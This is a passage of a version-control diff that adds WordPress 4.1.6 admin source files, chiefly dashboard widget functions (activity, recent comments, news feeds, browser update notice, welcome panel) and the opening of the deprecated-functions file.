+					'<cite class="comment-author">' . get_comment_author_link() . '</cite>', $comment_post_link.' '.$comment_link, ' <span class="approve">' . __( '[Pending]' ) . '</span>' ); ?>
+			</h4>
+
+			<?php
+			else :
+				switch ( $comment->comment_type ) {
+					case 'pingback' :
+						$type = __( 'Pingback' );
+						break;
+					case 'trackback' :
+						$type = __( 'Trackback' );
+						break;
+					default :
+						$type = ucwords( $comment->comment_type );
+				}
+				$type = esc_html( $type );
+			?>
+			<div class="dashboard-comment-wrap">
+			<?php /* translators: %1$s is type of comment, %2$s is link to the post */ ?>
+			<h4 class="comment-meta"><?php printf( _x( '%1$s on %2$s', 'dashboard' ), "<strong>$type</strong>", $comment_post_link." ".$comment_link ); ?></h4>
+			<p class="comment-author"><?php comment_author_link(); ?></p>
+
+			<?php endif; // comment_type ?>
+			<blockquote><p><?php comment_excerpt(); ?></p></blockquote>
+			<p class="row-actions"><?php echo $actions_string; ?></p>
+			</div>
+		</div>
+<?php
+}
+
+/**
+ * Callback function for Activity widget.
+ *
+ * @since 3.8.0
+ */
+function wp_dashboard_site_activity() {
+
+	echo '<div id="activity-widget">';
+
+	$future_posts = wp_dashboard_recent_posts( array(
+		'max'     => 5,
+		'status'  => 'future',
+		'order'   => 'ASC',
+		'title'   => __( 'Publishing Soon' ),
+		'id'      => 'future-posts',
+	) );
+	$recent_posts = wp_dashboard_recent_posts( array(
+		'max'     => 5,
+		'status'  => 'publish',
+		'order'   => 'DESC',
+		'title'   => __( 'Recently Published' ),
+		'id'      => 'published-posts',
+	) );
+
+	$recent_comments = wp_dashboard_recent_comments();
+
+	if ( !$future_posts && !$recent_posts && !$recent_comments ) {
+		echo '<div class="no-activity">';
+		echo '<p class="smiley"></p>';
+		echo '<p>' . __( 'No activity yet!' ) . '</p>';
+		echo '</div>';
+	}
+
+	echo '</div>';
+}
+
+/**
+ * Generates Publishing Soon and Recently Published sections.
+ *
+ * @since 3.8.0
+ *
+ * @param array $args {
+ *     An array of query and display arguments.
+ *
+ *     @type int    $max     Number of posts to display.
+ *     @type string $status  Post status.
+ *     @type string $order   Designates ascending ('ASC') or descending ('DESC') order.
+ *     @type string $title   Section title.
+ *     @type string $id      The container id.
+ * }
+ * @return bool False if no posts were found. True otherwise.
+ */
+function wp_dashboard_recent_posts( $args ) {
+	$query_args = array(
+		'post_type'      => 'post',
+		'post_status'    => $args['status'],
+		'orderby'        => 'date',
+		'order'          => $args['order'],
+		'posts_per_page' => intval( $args['max'] ),
+		'no_found_rows'  => true,
+		'cache_results'  => false,
+		'perm'           => ( 'future' === $args['status'] ) ? 'editable' : 'readable',
+	);
+	$posts = new WP_Query( $query_args );
+
+	if ( $posts->have_posts() ) {
+
+		echo '<div id="' . $args['id'] . '" class="activity-block">';
+
+		echo '<h4>' . $args['title'] . '</h4>';
+
+		echo '<ul>';
+
+		$today    = date( 'Y-m-d', current_time( 'timestamp' ) );
+		$tomorrow = date( 'Y-m-d', strtotime( '+1 day', current_time( 'timestamp' ) ) );
+
+		while ( $posts->have_posts() ) {
+			$posts->the_post();
+
+			$time = get_the_time( 'U' );
+			if ( date( 'Y-m-d', $time ) == $today ) {
+				$relative = __( 'Today' );
+			} elseif ( date( 'Y-m-d', $time ) == $tomorrow ) {
+				$relative = __( 'Tomorrow' );
+			} else {
+				/* translators: date and time format for recent posts on the dashboard, see http://php.net/date */
+				$relative = date_i18n( __( 'M jS' ), $time );
+			}
+
+			if ( current_user_can( 'edit_post', get_the_ID() ) ) {
+				/* translators: 1: relative date, 2: time, 3: post edit link, 4: post title */
+				$format = __( '<span>%1$s, %2$s</span> <a href="%3$s">%4$s</a>' );
+				printf( "<li>$format</li>", $relative, get_the_time(), get_edit_post_link(), _draft_or_post_title() );
+			} else {
+				/* translators: 1: relative date, 2: time, 3: post title */
+				$format = __( '<span>%1$s, %2$s</span> %3$s' );
+				printf( "<li>$format</li>", $relative, get_the_time(), _draft_or_post_title() );
+			}
+		}
+
+		echo '</ul>';
+		echo '</div>';
+
+	} else {
+		return false;
+	}
+
+	wp_reset_postdata();
+
+	return true;
+}
+
+/**
+ * Show Comments section.
+ *
+ * @since 3.8.0
+ *
+ * @param int $total_items Optional. Number of comments to query. Default 5.
+ * @return bool False if no comments were found. True otherwise.
+ */
+function wp_dashboard_recent_comments( $total_items = 5 ) {
+	// Select all comment types and filter out spam later for better query performance.
+	$comments = array();
+
+	$comments_query = array(
+		'number' => $total_items * 5,
+		'offset' => 0
+	);
+	if ( ! current_user_can( 'edit_posts' ) )
+		$comments_query['status'] = 'approve';
+
+	while ( count( $comments ) < $total_items && $possible = get_comments( $comments_query ) ) {
+		foreach ( $possible as $comment ) {
+			if ( ! current_user_can( 'read_post', $comment->comment_post_ID ) )
+				continue;
+			$comments[] = $comment;
+			if ( count( $comments ) == $total_items )
+				break 2;
+		}
+		$comments_query['offset'] += $comments_query['number'];
+		$comments_query['number'] = $total_items * 10;
+	}
+
+	if ( $comments ) {
+		echo '<div id="latest-comments" class="activity-block">';
+		echo '<h4>' . __( 'Comments' ) . '</h4>';
+
+		echo '<div id="the-comment-list" data-wp-lists="list:comment">';
+		foreach ( $comments as $comment )
+			_wp_dashboard_recent_comments_row( $comment );
+		echo '</div>';
+
+		if ( current_user_can('edit_posts') )
+			_get_list_table('WP_Comments_List_Table')->views();
+
+		wp_comment_reply( -1, false, 'dashboard', false );
+		wp_comment_trashnotice();
+
+		echo '</div>';
+	} else {
+		return false;
+	}
+	return true;
+}
+
+/**
+ * Display generic dashboard RSS widget feed.
+ *
+ * @since 2.5.0
+ *
+ * @param string $widget_id
+ */
+function wp_dashboard_rss_output( $widget_id ) {
+	$widgets = get_option( 'dashboard_widget_options' );
+	echo '<div class="rss-widget">';
+	wp_widget_rss_output( $widgets[ $widget_id ] );
+	echo "</div>";
+}
+
+/**
+ * Checks to see if all of the feed url in $check_urls are cached.
+ *
+ * If $check_urls is empty, look for the rss feed url found in the dashboard
+ * widget options of $widget_id. If cached, call $callback, a function that
+ * echoes out output for this widget. If not cache, echo a "Loading..." stub
+ * which is later replaced by AJAX call (see top of /wp-admin/index.php)
+ *
+ * @since 2.5.0
+ *
+ * @param string $widget_id
+ * @param callback $callback
+ * @param array $check_urls RSS feeds
+ * @return bool False on failure. True on success.
+ */
+function wp_dashboard_cached_rss_widget( $widget_id, $callback, $check_urls = array() ) {
+	$loading = '<p class="widget-loading hide-if-no-js">' . __( 'Loading&#8230;' ) . '</p><p class="hide-if-js">' . __( 'This widget requires JavaScript.' ) . '</p>';
+	$doing_ajax = ( defined('DOING_AJAX') && DOING_AJAX );
+
+	if ( empty($check_urls) ) {
+		$widgets = get_option( 'dashboard_widget_options' );
+		if ( empty($widgets[$widget_id]['url']) && ! $doing_ajax ) {
+			echo $loading;
+			return false;
+		}
+		$check_urls = array( $widgets[$widget_id]['url'] );
+	}
+
+	$cache_key = 'dash_' . md5( $widget_id );
+	if ( false !== ( $output = get_transient( $cache_key ) ) ) {
+		echo $output;
+		return true;
+	}
+
+	if ( ! $doing_ajax ) {
+		echo $loading;
+		return false;
+	}
+
+	if ( $callback && is_callable( $callback ) ) {
+		$args = array_slice( func_get_args(), 3 );
+		array_unshift( $args, $widget_id, $check_urls );
+		ob_start();
+		call_user_func_array( $callback, $args );
+		set_transient( $cache_key, ob_get_flush(), 12 * HOUR_IN_SECONDS ); // Default lifetime in cache of 12 hours (same as the feeds)
+	}
+
+	return true;
+}
+
+/* Dashboard Widgets Controls */
+
+// Calls widget_control callback
+/**
+ * Calls widget control callback.
+ *
+ * @since 2.5.0
+ *
+ * @param int $widget_control_id Registered Widget ID.
+ */
+function wp_dashboard_trigger_widget_control( $widget_control_id = false ) {
+	global $wp_dashboard_control_callbacks;
+
+	if ( is_scalar($widget_control_id) && $widget_control_id && isset($wp_dashboard_control_callbacks[$widget_control_id]) && is_callable($wp_dashboard_control_callbacks[$widget_control_id]) ) {
+		call_user_func( $wp_dashboard_control_callbacks[$widget_control_id], '', array( 'id' => $widget_control_id, 'callback' => $wp_dashboard_control_callbacks[$widget_control_id] ) );
+	}
+}
+
+/**
+ * The RSS dashboard widget control.
+ *
+ * Sets up $args to be used as input to wp_widget_rss_form(). Handles POST data
+ * from RSS-type widgets.
+ *
+ * @since 2.5.0
+ *
+ * @param string $widget_id
+ * @param array $form_inputs
+ */
+function wp_dashboard_rss_control( $widget_id, $form_inputs = array() ) {
+	if ( !$widget_options = get_option( 'dashboard_widget_options' ) )
+		$widget_options = array();
+
+	if ( !isset($widget_options[$widget_id]) )
+		$widget_options[$widget_id] = array();
+
+	$number = 1; // Hack to use wp_widget_rss_form()
+	$widget_options[$widget_id]['number'] = $number;
+
+	if ( 'POST' == $_SERVER['REQUEST_METHOD'] && isset($_POST['widget-rss'][$number]) ) {
+		$_POST['widget-rss'][$number] = wp_unslash( $_POST['widget-rss'][$number] );
+		$widget_options[$widget_id] = wp_widget_rss_process( $_POST['widget-rss'][$number] );
+		$widget_options[$widget_id]['number'] = $number;
+
+		// Title is optional. If black, fill it if possible.
+		if ( !$widget_options[$widget_id]['title'] && isset($_POST['widget-rss'][$number]['title']) ) {
+			$rss = fetch_feed($widget_options[$widget_id]['url']);
+			if ( is_wp_error($rss) ) {
+				$widget_options[$widget_id]['title'] = htmlentities(__('Unknown Feed'));
+			} else {
+				$widget_options[$widget_id]['title'] = htmlentities(strip_tags($rss->get_title()));
+				$rss->__destruct();
+				unset($rss);
+			}
+		}
+		update_option( 'dashboard_widget_options', $widget_options );
+		$cache_key = 'dash_' . md5( $widget_id );
+		delete_transient( $cache_key );
+	}
+
+	wp_widget_rss_form( $widget_options[$widget_id], $form_inputs );
+}
+
+/**
+ * WordPress News dashboard widget.
+ *
+ * @since 2.7.0
+ */
+function wp_dashboard_primary() {
+	$feeds = array(
+		'news' => array(
+
+			/**
+			 * Filter the primary link URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.5.0
+			 *
+			 * @param string $link The widget's primary link URL.
+			 */
+			'link' => apply_filters( 'dashboard_primary_link', __( 'http://wordpress.org/news/' ) ),
+
+			/**
+			 * Filter the primary feed URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $url The widget's primary feed URL.
+			 */
+			'url' => apply_filters( 'dashboard_primary_feed', __( 'http://wordpress.org/news/feed/' ) ),
+
+			/**
+			 * Filter the primary link title for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $title Title attribute for the widget's primary link.
+			 */
+			'title'        => apply_filters( 'dashboard_primary_title', __( 'WordPress Blog' ) ),
+			'items'        => 1,
+			'show_summary' => 1,
+			'show_author'  => 0,
+			'show_date'    => 1,
+		),
+		'planet' => array(
+
+			/**
+			 * Filter the secondary link URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $link The widget's secondary link URL.
+			 */
+			'link' => apply_filters( 'dashboard_secondary_link', __( 'https://planet.wordpress.org/' ) ),
+
+			/**
+			 * Filter the secondary feed URL for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $url The widget's secondary feed URL.
+			 */
+			'url' => apply_filters( 'dashboard_secondary_feed', __( 'https://planet.wordpress.org/feed/' ) ),
+
+			/**
+			 * Filter the secondary link title for the 'WordPress News' dashboard widget.
+			 *
+			 * @since 2.3.0
+			 *
+			 * @param string $title Title attribute for the widget's secondary link.
+			 */
+			'title'        => apply_filters( 'dashboard_secondary_title', __( 'Other WordPress News' ) ),
+			'items'        => 3,
+			'show_summary' => 0,
+			'show_author'  => 0,
+			'show_date'    => 0,
+		)
+	);
+
+	if ( ( ! is_multisite() && is_blog_admin() && current_user_can( 'install_plugins' ) ) || ( is_network_admin() && current_user_can( 'manage_network_plugins' ) && current_user_can( 'install_plugins' ) ) ) {
+		$feeds['plugins'] = array(
+			'link'         => '',
+			'url'          => array(
+				'popular' => 'http://wordpress.org/plugins/rss/browse/popular/',
+			),
+			'title'        => '',
+			'items'        => 1,
+			'show_summary' => 0,
+			'show_author'  => 0,
+			'show_date'    => 0,
+		);
+	}
+
+	wp_dashboard_cached_rss_widget( 'dashboard_primary', 'wp_dashboard_primary_output', $feeds );
+}
+
+/**
+ * Display the WordPress news feeds.
+ *
+ * @since 3.8.0
+ *
+ * @param string $widget_id Widget ID.
+ * @param array  $feeds     Array of RSS feeds.
+ */
+function wp_dashboard_primary_output( $widget_id, $feeds ) {
+	foreach( $feeds as $type => $args ) {
+		$args['type'] = $type;
+		echo '<div class="rss-widget">';
+		if ( $type === 'plugins' ) {
+			wp_dashboard_plugins_output( $args['url'], $args );
+		} else {
+			wp_widget_rss_output( $args['url'], $args );
+		}
+		echo "</div>";
+	}
+}
+
+/**
+ * Display plugins text for the WordPress news widget.
+ *
+ * @since 2.5.0
+ */
+function wp_dashboard_plugins_output( $rss, $args = array() ) {
+	// Plugin feeds plus link to install them
+	$popular = fetch_feed( $args['url']['popular'] );
+
+	if ( false === $plugin_slugs = get_transient( 'plugin_slugs' ) ) {
+		$plugin_slugs = array_keys( get_plugins() );
+		set_transient( 'plugin_slugs', $plugin_slugs, DAY_IN_SECONDS );
+	}
+
+	echo '<ul>';
+
+	foreach ( array( $popular ) as $feed ) {
+		if ( is_wp_error( $feed ) || ! $feed->get_item_quantity() )
+			continue;
+
+		$items = $feed->get_items(0, 5);
+
+		// Pick a random, non-installed plugin
+		while ( true ) {
+			// Abort this foreach loop iteration if there's no plugins left of this type
+			if ( 0 == count($items) )
+				continue 2;
+
+			$item_key = array_rand($items);
+			$item = $items[$item_key];
+
+			list($link, $frag) = explode( '#', $item->get_link() );
+
+			$link = esc_url($link);
+			if ( preg_match( '|/([^/]+?)/?$|', $link, $matches ) )
+				$slug = $matches[1];
+			else {
+				unset( $items[$item_key] );
+				continue;
+			}
+
+			// Is this random plugin's slug already installed? If so, try again.
+			reset( $plugin_slugs );
+			foreach ( $plugin_slugs as $plugin_slug ) {
+				if ( $slug == substr( $plugin_slug, 0, strlen( $slug ) ) ) {
+					unset( $items[$item_key] );
+					continue 2;
+				}
+			}
+
+			// If we get to this point, then the random plugin isn't installed and we can stop the while().
+			break;
+		}
+
+		// Eliminate some common badly formed plugin descriptions
+		while ( ( null !== $item_key = array_rand($items) ) && false !== strpos( $items[$item_key]->get_description(), 'Plugin Name:' ) )
+			unset($items[$item_key]);
+
+		if ( !isset($items[$item_key]) )
+			continue;
+
+		$title = esc_html( $item->get_title() );
+
+		$ilink = wp_nonce_url('plugin-install.php?tab=plugin-information&plugin=' . $slug, 'install-plugin_' . $slug) . '&amp;TB_iframe=true&amp;width=600&amp;height=800';
+		echo "<li class='dashboard-news-plugin'><span>" . __( 'Popular Plugin' ) . ":</span> <a href='$link' class='dashboard-news-plugin-link'>$title</a>&nbsp;<span>(<a href='$ilink' class='thickbox' title='$title'>" . __( 'Install' ) . "</a>)</span></li>";
+
+		$feed->__destruct();
+		unset( $feed );
+	}
+
+	echo '</ul>';
+}
+
+/**
+ * Display file upload quota on dashboard.
+ *
+ * Runs on the activity_box_end hook in wp_dashboard_right_now().
+ *
+ * @since 3.0.0
+ *
+ * @return bool|null True if not multisite, user can't upload files, or the space check option is disabled.
+*/
+function wp_dashboard_quota() {
+	if ( !is_multisite() || !current_user_can( 'upload_files' ) || get_site_option( 'upload_space_check_disabled' ) )
+		return true;
+
+	$quota = get_space_allowed();
+	$used = get_space_used();
+
+	if ( $used > $quota )
+		$percentused = '100';
+	else
+		$percentused = ( $used / $quota ) * 100;
+	$used_class = ( $percentused >= 70 ) ? ' warning' : '';
+	$used = round( $used, 2 );
+	$percentused = number_format( $percentused );
+
+	?>
+	<h4 class="mu-storage"><?php _e( 'Storage Space' ); ?></h4>
+	<div class="mu-storage">
+	<ul>
+		<li class="storage-count">
+			<?php $text = sprintf(
+				/* translators: number of megabytes */
+				__( '%s MB Space Allowed' ),
+				number_format_i18n( $quota )
+			);
+			printf(
+				'<a href="%1$s" title="%2$s">%3$s</a>',
+				esc_url( admin_url( 'upload.php' ) ),
+				__( 'Manage Uploads' ),
+				$text
+			); ?>
+		</li><li class="storage-count <?php echo $used_class; ?>">
+			<?php $text = sprintf(
+				/* translators: 1: number of megabytes, 2: percentage */
+				__( '%1$s MB (%2$s%%) Space Used' ),
+				number_format_i18n( $used, 2 ),
+				$percentused
+			);
+			printf(
+				'<a href="%1$s" title="%2$s" class="musublink">%3$s</a>',
+				esc_url( admin_url( 'upload.php' ) ),
+				__( 'Manage Uploads' ),
+				$text
+			); ?>
+		</li>
+	</ul>
+	</div>
+	<?php
+}
+add_action( 'activity_box_end', 'wp_dashboard_quota' );
+
+// Display Browser Nag Meta Box
+function wp_dashboard_browser_nag() {
+	$notice = '';
+	$response = wp_check_browser_version();
+
+	if ( $response ) {
+		if ( $response['insecure'] ) {
+			$msg = sprintf( __( "It looks like you're using an insecure version of <a href='%s'>%s</a>. Using an outdated browser makes your computer unsafe. For the best WordPress experience, please update your browser." ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ) );
+		} else {
+			$msg = sprintf( __( "It looks like you're using an old version of <a href='%s'>%s</a>. For the best WordPress experience, please update your browser." ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ) );
+		}
+
+		$browser_nag_class = '';
+		if ( !empty( $response['img_src'] ) ) {
+			$img_src = ( is_ssl() && ! empty( $response['img_src_ssl'] ) )? $response['img_src_ssl'] : $response['img_src'];
+
+			$notice .= '<div class="alignright browser-icon"><a href="' . esc_attr($response['update_url']) . '"><img src="' . esc_attr( $img_src ) . '" alt="" /></a></div>';
+			$browser_nag_class = ' has-browser-icon';
+		}
+		$notice .= "<p class='browser-update-nag{$browser_nag_class}'>{$msg}</p>";
+
+		$browsehappy = 'http://browsehappy.com/';
+		$locale = get_locale();
+		if ( 'en_US' !== $locale )
+			$browsehappy = add_query_arg( 'locale', $locale, $browsehappy );
+
+		$notice .= '<p>' . sprintf( __( '<a href="%1$s" class="update-browser-link">Update %2$s</a> or learn how to <a href="%3$s" class="browse-happy-link">browse happy</a>' ), esc_attr( $response['update_url'] ), esc_html( $response['name'] ), esc_url( $browsehappy ) ) . '</p>';
+		$notice .= '<p class="hide-if-no-js"><a href="" class="dismiss">' . __( 'Dismiss' ) . '</a></p>';
+		$notice .= '<div class="clear"></div>';
+	}
+
+	/**
+	* Filter the notice output for the 'Browse Happy' nag meta box.
+	*
+	* @since 3.2.0
+	*
+	* @param string $notice   The notice content.
+	* @param array  $response An array containing web browser information.
+	*/
+	echo apply_filters( 'browse-happy-notice', $notice, $response );
+}
+
+function dashboard_browser_nag_class( $classes ) {
+	$response = wp_check_browser_version();
+
+	if ( $response && $response['insecure'] )
+		$classes[] = 'browser-insecure';
+
+	return $classes;
+}
+
+/**
+ * Check if the user needs a browser update
+ *
+ * @since 3.2.0
+ *
+ * @return array|bool False on failure, array of browser data on success.
+ */
+function wp_check_browser_version() {
+	if ( empty( $_SERVER['HTTP_USER_AGENT'] ) )
+		return false;
+
+	$key = md5( $_SERVER['HTTP_USER_AGENT'] );
+
+	if ( false === ($response = get_site_transient('browser_' . $key) ) ) {
+		global $wp_version;
+
+		$options = array(
+			'body'			=> array( 'useragent' => $_SERVER['HTTP_USER_AGENT'] ),
+			'user-agent'	=> 'WordPress/' . $wp_version . '; ' . home_url()
+		);
+
+		$response = wp_remote_post( 'http://api.wordpress.org/core/browse-happy/1.1/', $options );
+
+		if ( is_wp_error( $response ) || 200 != wp_remote_retrieve_response_code( $response ) )
+			return false;
+
+		/**
+		 * Response should be an array with:
+		 *  'name' - string - A user friendly browser name
+		 *  'version' - string - The most recent version of the browser
+		 *  'current_version' - string - The version of the browser the user is using
+		 *  'upgrade' - boolean - Whether the browser needs an upgrade
+		 *  'insecure' - boolean - Whether the browser is deemed insecure
+		 *  'upgrade_url' - string - The url to visit to upgrade
+		 *  'img_src' - string - An image representing the browser
+		 *  'img_src_ssl' - string - An image (over SSL) representing the browser
+		 */
+		$response = json_decode( wp_remote_retrieve_body( $response ), true );
+
+		if ( ! is_array( $response ) )
+			return false;
+
+		set_site_transient( 'browser_' . $key, $response, WEEK_IN_SECONDS );
+	}
+
+	return $response;
+}
+
+/**
+ * Empty function usable by plugins to output empty dashboard widget (to be populated later by JS).
+ */
+function wp_dashboard_empty() {}
+
+/**
+ * Displays a welcome panel to introduce users to WordPress.
+ *
+ * @since 3.3.0
+ */
+function wp_welcome_panel() {
+	?>
+	<div class="welcome-panel-content">
+	<h3><?php _e( 'Welcome to WordPress!' ); ?></h3>
+	<p class="about-description"><?php _e( 'We&#8217;ve assembled some links to get you started:' ); ?></p>
+	<div class="welcome-panel-column-container">
+	<div class="welcome-panel-column">
+		<?php if ( current_user_can( 'customize' ) ): ?>
+			<h4><?php _e( 'Get Started' ); ?></h4>
+			<a class="button button-primary button-hero load-customize hide-if-no-customize" href="<?php echo wp_customize_url(); ?>"><?php _e( 'Customize Your Site' ); ?></a>
+		<?php endif; ?>
+		<a class="button button-primary button-hero hide-if-customize" href="<?php echo admin_url( 'themes.php' ); ?>"><?php _e( 'Customize Your Site' ); ?></a>
+		<?php if ( current_user_can( 'install_themes' ) || ( current_user_can( 'switch_themes' ) && count( wp_get_themes( array( 'allowed' => true ) ) ) > 1 ) ) : ?>
+			<p class="hide-if-no-customize"><?php printf( __( 'or, <a href="%s">change your theme completely</a>' ), admin_url( 'themes.php' ) ); ?></p>
+		<?php endif; ?>
+	</div>
+	<div class="welcome-panel-column">
+		<h4><?php _e( 'Next Steps' ); ?></h4>
+		<ul>
+		<?php if ( 'page' == get_option( 'show_on_front' ) && ! get_option( 'page_for_posts' ) ) : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
+		<?php elseif ( 'page' == get_option( 'show_on_front' ) ) : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-edit-page">' . __( 'Edit your front page' ) . '</a>', get_edit_post_link( get_option( 'page_on_front' ) ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add additional pages' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Add a blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li>
+		<?php else : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-write-blog">' . __( 'Write your first blog post' ) . '</a>', admin_url( 'post-new.php' ) ); ?></li>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-add-page">' . __( 'Add an About page' ) . '</a>', admin_url( 'post-new.php?post_type=page' ) ); ?></li>
+		<?php endif; ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-view-site">' . __( 'View your site' ) . '</a>', home_url( '/' ) ); ?></li>
+		</ul>
+	</div>
+	<div class="welcome-panel-column welcome-panel-last">
+		<h4><?php _e( 'More Actions' ); ?></h4>
+		<ul>
+		<?php if ( current_theme_supports( 'widgets' ) || current_theme_supports( 'menus' ) ) : ?>
+			<li><div class="welcome-icon welcome-widgets-menus"><?php
+				if ( current_theme_supports( 'widgets' ) && current_theme_supports( 'menus' ) ) {
+					printf( __( 'Manage <a href="%1$s">widgets</a> or <a href="%2$s">menus</a>' ),
+						admin_url( 'widgets.php' ), admin_url( 'nav-menus.php' ) );
+				} elseif ( current_theme_supports( 'widgets' ) ) {
+					echo '<a href="' . admin_url( 'widgets.php' ) . '">' . __( 'Manage widgets' ) . '</a>';
+				} else {
+					echo '<a href="' . admin_url( 'nav-menus.php' ) . '">' . __( 'Manage menus' ) . '</a>';
+				}
+			?></div></li>
+		<?php endif; ?>
+		<?php if ( current_user_can( 'manage_options' ) ) : ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-comments">' . __( 'Turn comments on or off' ) . '</a>', admin_url( 'options-discussion.php' ) ); ?></li>
+		<?php endif; ?>
+			<li><?php printf( '<a href="%s" class="welcome-icon welcome-learn-more">' . __( 'Learn more about getting started' ) . '</a>', __( 'http://codex.wordpress.org/First_Steps_With_WordPress' ) ); ?></li>
+		</ul>
+	</div>
+	</div>
+	</div>
+	<?php
+}
Index: /tags/4.1.6/src/wp-admin/includes/deprecated.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/deprecated.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/deprecated.php	(revision 33402)
@@ -0,0 +1,1187 @@
+<?php
+/**
+ * Deprecated admin functions from past WordPress versions. You shouldn't use these
+ * functions and look for the alternatives instead. The functions will be removed
+ * in a later version.
+ *
+ * @package WordPress
+ * @subpackage Deprecated
+ */
+
+/*
+ * Deprecated functions come here to die.
+ */
+
+/**
+ * @since 2.1.0
+ * @deprecated 2.1.0
+ * @deprecated Use wp_editor().
+ * @see wp_editor()
+ */
+function tinymce_include() {
+	_deprecated_function( __FUNCTION__, '2.1', 'wp_editor()' );
+
+	wp_tiny_mce();
+}
+
+/**
+ * Unused Admin function.
+ *
+ * @since 2.0.0
+ * @deprecated 2.5.0
+ *
+ */
+function documentation_link() {
+	_deprecated_function( __FUNCTION__, '2.5' );
+	return;
+}
+
+/**
+ * Calculates the new dimensions for a downsampled image.
+ *
+ * @since 2.0.0
+ * @deprecated 3.0.0
+ * @deprecated Use wp_constrain_dimensions()
+ * @see wp_constrain_dimensions()
+ *
+ * @param int $width Current width of the image
+ * @param int $height Current height of the image
+ * @param int $wmax Maximum wanted width
+ * @param int $hmax Maximum wanted height
+ * @return array Shrunk dimensions (width, height).
+ */
+function wp_shrink_dimensions( $width, $height, $wmax = 128, $hmax = 96 ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_constrain_dimensions()' );
+	return wp_constrain_dimensions( $width, $height, $wmax, $hmax );
+}
+
+/**
+ * Calculated the new dimensions for a downsampled image.
+ *
+ * @since 2.0.0
+ * @deprecated 3.5.0
+ * @deprecated Use wp_constrain_dimensions()
+ * @see wp_constrain_dimensions()
+ *
+ * @param int $width Current width of the image
+ * @param int $height Current height of the image
+ * @return array Shrunk dimensions (width, height).
+ */
+function get_udims( $width, $height ) {
+	_deprecated_function( __FUNCTION__, '3.5', 'wp_constrain_dimensions()' );
+	return wp_constrain_dimensions( $width, $height, 128, 96 );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 0.71
+ * @deprecated 2.6.0
+ * @deprecated Use wp_category_checklist()
+ * @see wp_category_checklist()
+ *
+ * @param int $default
+ * @param int $parent
+ * @param array $popular_ids
+ */
+function dropdown_categories( $default = 0, $parent = 0, $popular_ids = array() ) {
+	_deprecated_function( __FUNCTION__, '2.6', 'wp_category_checklist()' );
+	global $post_ID;
+	wp_category_checklist( $post_ID );
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 2.1.0
+ * @deprecated 2.6.0
+ * @deprecated Use wp_link_category_checklist()
+ * @see wp_link_category_checklist()
+ *
+ * @param int $default
+ */
+function dropdown_link_categories( $default = 0 ) {
+	_deprecated_function( __FUNCTION__, '2.6', 'wp_link_category_checklist()' );
+	global $link_id;
+	wp_link_category_checklist( $link_id );
+}
+
+/**
+ * Get the real filesystem path to a file to edit within the admin.
+ *
+ * @since 1.5.0
+ * @deprecated 2.9.0
+ * @uses WP_CONTENT_DIR Full filesystem path to the wp-content directory.
+ *
+ * @param string $file Filesystem path relative to the wp-content directory.
+ * @return string Full filesystem path to edit.
+ */
+function get_real_file_to_edit( $file ) {
+	_deprecated_function( __FUNCTION__, '2.9' );
+
+	return WP_CONTENT_DIR . $file;
+}
+
+/**
+ * {@internal Missing Short Description}}
+ *
+ * @since 1.2.0
+ * @deprecated 3.0.0
+ * @deprecated Use wp_dropdown_categories()
+ * @see wp_dropdown_categories()
+ *
+ * @param int $currentcat
+ * @param int $currentparent
+ * @param int $parent
+ * @param int $level
+ * @param array $categories
+ * @return bool|null
+ */
+function wp_dropdown_cats( $currentcat = 0, $currentparent = 0, $parent = 0, $level = 0, $categories = 0 ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'wp_dropdown_categories()' );
+	if (!$categories )
+		$categories = get_categories( array('hide_empty' => 0) );
+
+	if ( $categories ) {
+		foreach ( $categories as $category ) {
+			if ( $currentcat != $category->term_id && $parent == $category->parent) {
+				$pad = str_repeat( '&#8211; ', $level );
+				$category->name = esc_html( $category->name );
+				echo "\n\t<option value='$category->term_id'";
+				if ( $currentparent == $category->term_id )
+					echo " selected='selected'";
+				echo ">$pad$category->name</option>";
+				wp_dropdown_cats( $currentcat, $currentparent, $category->term_id, $level +1, $categories );
+			}
+		}
+	} else {
+		return false;
+	}
+}
+
+/**
+ * Register a setting and its sanitization callback
+ *
+ * @since 2.7.0
+ * @deprecated 3.0.0
+ * @deprecated Use register_setting()
+ * @see register_setting()
+ *
+ * @param string $option_group A settings group name. Should correspond to a whitelisted option key name.
+ * 	Default whitelisted option key names include "general," "discussion," and "reading," among others.
+ * @param string $option_name The name of an option to sanitize and save.
+ * @param callable $sanitize_callback A callback function that sanitizes the option's value.
+ */
+function add_option_update_handler( $option_group, $option_name, $sanitize_callback = '' ) {
+	_deprecated_function( __FUNCTION__, '3.0', 'register_setting()' );
+	register_setting( $option_group, $option_name, $sanitize_callback );
+}
+
+/**
+ * Unregister a setting
+ *
+ * @since 2.7.0
+ * @deprecated 3.0.0
+ * @deprecated Use unregister_setting()
+ * @see unregister_setting()
+ *
+ * @param string $option_group
+ * @param string $option_name
